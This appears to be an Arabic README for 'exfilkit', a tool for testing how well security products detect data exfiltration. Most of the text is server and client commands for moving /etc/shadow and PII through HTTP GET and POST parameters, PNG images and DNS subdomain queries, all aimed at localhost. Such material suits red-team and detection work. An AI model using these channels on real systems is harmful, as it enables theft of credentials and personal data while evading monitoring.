exfilkit

أداة لاستخراج البيانات لاختبار قدرات الكشف

الوصف

أداة لاستخراج البيانات تُستخدم لاختبار قدرات الكشف لمنتجات الأمان. للأغراض القانونية فقط بالطبع.

كيفية تنفيذ عملية الاستخراج

/etc/shadow -> طلبات HTTP GET

الخادم

# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETServer -lp 80 -o output.log

العميل

$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.GETClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

/etc/shadow -> طلبات HTTP POST

الخادم

# ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTServer -lp 80 -o output.log

العميل

$ ./exfilkit-cli.py -m exfilkit.methods.http.param_cipher.POSTClient -rh 127.0.0.1 -rp 80 -i ./samples/shadow.txt -r

PII -> صور PNG مضمنة في استجابة HTTP

الخادم

$ ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Server -lp 37650 -o output.log

العميل

# ./exfilkit-cli.py -m exfilkit.methods.http.image_response.Client -rh 127.0.0.1 -rp 37650 -lp 80 -i ./samples/pii.txt -r

PII -> استعلامات نطاقات فرعية DNS

الخادم

# ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Server -lp 53 -o output.log

العميل

$ ./exfilkit-cli.py -m exfilkit.methods.dns.subdomain_cipher.Client -rh 127.0.0.1 -rp 53 -i ./samples/pii.txt -r